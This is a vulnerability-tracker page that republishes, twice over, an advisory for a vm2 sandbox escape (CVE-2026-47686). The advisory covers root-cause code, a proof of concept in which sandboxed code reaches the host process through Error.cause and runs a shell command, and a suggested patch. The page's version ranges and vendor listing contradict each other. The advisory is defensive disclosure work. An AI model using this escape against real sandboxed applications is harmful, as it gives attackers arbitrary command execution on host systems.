Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
9.9
CVE-2026-47686: VM2 Sandbox Escape via Missing Error.cause Sanitization
CVE-2026-47686 · published 17 days ago
Summary
A vulnerability in VM2 versions up to 3.11.3 allows malicious code to escape the sandbox and execute arbitrary commands on the host system. This is because VM2 does not properly sanitize the Error.cause property, which can be used to access host objects like process. To protect against this issue, update to the latest version of VM2, and ensure that any exposed host functions do not throw errors with a .cause property referencing a host object.
What to do
- Update GitHub Actions vm2 to version 3.11.6.
Affected software
| Ecosystem | Vendor | Product | Affected versions |
|---|---|---|---|
| npm | GitHub Actions | vm2 |
<= 3.11.5 Fix: upgrade to 3.11.6
|
| – | patriksimek | vm2 | < 3.11.6 |
Original advisory text
VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE
**Affected:** vm2 <= 3.11.3
**CVSS 3.1:** 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
**CWE:** CWE-693 (Protection Mechanism Failure)
**Prerequisite:** Embedder exposes a host function that throws an Error with `.cause` referencing a powerful host object (e.g., `process`)
## Summary
I found that `handleException()` in `lib/setup-sandbox.js` recursively sanitizes sub-errors for `SuppressedError` and `AggregateError`, but completely ignores the ES2022 `Error.cause` property. When sandbox code catches a host-thrown error carrying a `.cause` that references a host object like `process`, it can traverse that reference to achieve arbitrary command execution on the host.
The project's own `docs/ATTACKS.md` (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.
## Root Cause
The `handleException` function (lines 869-959 of `lib/setup-sandbox.js`) walks the prototype chain of caught errors looking for `SuppressedError` and `AggregateError`. When it finds them, it recursively sanitizes their contained errors (`.error`, `.suppressed`, `.errors[]`). For all other error types, it returns `e` directly at line 958 without inspecting `.cause`.
```javascript
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
// ... cycle detection ...
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited); // sanitized
e.suppressed = handleException(e.suppressed, visited); // sanitized
return e;
}
if (proto === localAggregateErrorProto) {
// sanitizes e.errors[] ...
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e; // .cause is NEVER checked
}
```
Error.cause was introduced in ES2022 (Node 16.9+). When `handleException` was extended to cover `SuppressedError` (for ES2024 `using` declarations) and `AggregateError`, the `.cause` property was simply overlooked.
## Affected Code
- `lib/setup-sandbox.js:869-959`, the `handleException` function (missing `.cause` handling)
- `lib/setup-sandbox.js:886`, `ensureThis` wraps the error but does not recurse into `.cause`
- `docs/ATTACKS.md:54`, Defense Invariant #3 falsely claims `.cause` is covered
## Reproduction
Embedder code that exposes a function throwing with `.cause` set to `process`:
```javascript
const { VM } = require('vm2');
const vm = new VM({
sandbox: {
hostFn: () => {
throw new Error('fail', { cause: process });
}
}
});
const result = vm.run(`
try {
hostFn();
} catch (e) {
// .cause is not sanitized, so we get a direct reference to host process
const proc = e.cause;
proc.mainModule.require('child_process').execSync('id').toString();
}
`);
console.log(result);
```
Verified output:
```
uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
```
Full RCE confirmed.
## Impact
Any application using vm2 where an embedder-exposed function throws an Error with `.cause` referencing a host object is vulnerable. The attacker gains:
- Full host process access (read/write files, spawn processes, network access)
- Sandbox escape with changed scope (CVSS S:C)
- No user interaction required
The prerequisite (embedder throwing with `.cause`) is increasingly common. Error chaining via `new Error('msg', { cause: originalError })` is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.
## Suggested Fix
Add `.cause` sanitization before the prototype-chain walk, so it applies to all error types:
```javascript
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
if (!visited) visited = new LocalWeakMap();
if (apply(localWeakMapGet, visited, [e])) return e;
apply(localWeakMapSet, visited, [e, true]);
// Sanitize .cause on ALL errors (ES2022)
try {
if ('cause' in e) {
e.cause = handleException(e.cause, visited);
}
} catch (ex) { /* best effort */ }
let proto = localReflectGetPrototypeOf(e);
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited);
e.suppressed = handleException(e.suppressed, visited);
return e;
}
if (proto === localAggregateErrorProto) {
if (localArrayIsArray(e.errors)) {
for (let i = 0; i < e.errors.length; i++) {
e.errors[i] = handleException(e.errors[i], visited);
}
}
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e;
}
```
`docs/ATTACKS.md` Defense Invariant #3 should also be updated to reflect reality until this fix ships.
## Artifacts
| File | Role |
|------|------|
| `poc_error_cause_escape.js` | PoC demonstrating sandbox escape to RCE via unsanitized `.cause` |
[poc_error_cause_escape.js](https://github.com/user-attachments/files/27952274/poc_error_cause_escape.js)
**CVSS 3.1:** 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
**CWE:** CWE-693 (Protection Mechanism Failure)
**Prerequisite:** Embedder exposes a host function that throws an Error with `.cause` referencing a powerful host object (e.g., `process`)
## Summary
I found that `handleException()` in `lib/setup-sandbox.js` recursively sanitizes sub-errors for `SuppressedError` and `AggregateError`, but completely ignores the ES2022 `Error.cause` property. When sandbox code catches a host-thrown error carrying a `.cause` that references a host object like `process`, it can traverse that reference to achieve arbitrary command execution on the host.
The project's own `docs/ATTACKS.md` (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.
## Root Cause
The `handleException` function (lines 869-959 of `lib/setup-sandbox.js`) walks the prototype chain of caught errors looking for `SuppressedError` and `AggregateError`. When it finds them, it recursively sanitizes their contained errors (`.error`, `.suppressed`, `.errors[]`). For all other error types, it returns `e` directly at line 958 without inspecting `.cause`.
```javascript
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
// ... cycle detection ...
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited); // sanitized
e.suppressed = handleException(e.suppressed, visited); // sanitized
return e;
}
if (proto === localAggregateErrorProto) {
// sanitizes e.errors[] ...
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e; // .cause is NEVER checked
}
```
Error.cause was introduced in ES2022 (Node 16.9+). When `handleException` was extended to cover `SuppressedError` (for ES2024 `using` declarations) and `AggregateError`, the `.cause` property was simply overlooked.
## Affected Code
- `lib/setup-sandbox.js:869-959`, the `handleException` function (missing `.cause` handling)
- `lib/setup-sandbox.js:886`, `ensureThis` wraps the error but does not recurse into `.cause`
- `docs/ATTACKS.md:54`, Defense Invariant #3 falsely claims `.cause` is covered
## Reproduction
Embedder code that exposes a function throwing with `.cause` set to `process`:
```javascript
const { VM } = require('vm2');
const vm = new VM({
sandbox: {
hostFn: () => {
throw new Error('fail', { cause: process });
}
}
});
const result = vm.run(`
try {
hostFn();
} catch (e) {
// .cause is not sanitized, so we get a direct reference to host process
const proc = e.cause;
proc.mainModule.require('child_process').execSync('id').toString();
}
`);
console.log(result);
```
Verified output:
```
uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
```
Full RCE confirmed.
## Impact
Any application using vm2 where an embedder-exposed function throws an Error with `.cause` referencing a host object is vulnerable. The attacker gains:
- Full host process access (read/write files, spawn processes, network access)
- Sandbox escape with changed scope (CVSS S:C)
- No user interaction required
The prerequisite (embedder throwing with `.cause`) is increasingly common. Error chaining via `new Error('msg', { cause: originalError })` is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.
## Suggested Fix
Add `.cause` sanitization before the prototype-chain walk, so it applies to all error types:
```javascript
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
if (!visited) visited = new LocalWeakMap();
if (apply(localWeakMapGet, visited, [e])) return e;
apply(localWeakMapSet, visited, [e, true]);
// Sanitize .cause on ALL errors (ES2022)
try {
if ('cause' in e) {
e.cause = handleException(e.cause, visited);
}
} catch (ex) { /* best effort */ }
let proto = localReflectGetPrototypeOf(e);
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited);
e.suppressed = handleException(e.suppressed, visited);
return e;
}
if (proto === localAggregateErrorProto) {
if (localArrayIsArray(e.errors)) {
for (let i = 0; i < e.errors.length; i++) {
e.errors[i] = handleException(e.errors[i], visited);
}
}
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e;
}
```
`docs/ATTACKS.md` Defense Invariant #3 should also be updated to reflect reality until this fix ships.
## Artifacts
| File | Role |
|------|------|
| `poc_error_cause_escape.js` | PoC demonstrating sandbox escape to RCE via unsanitized `.cause` |
[poc_error_cause_escape.js](https://github.com/user-attachments/files/27952274/poc_error_cause_escape.js)
Severity
9.9
Critical
CVSS 3.1: 9.9 (GHSA)
Exploitation
EPSS <1%
Type
CWE-693Protection Mechanism Failure
Timeline
Published17 Aug 2026
Updated30 Aug 2026
First seen17 Aug 2026
Monitor software like this
Free during beta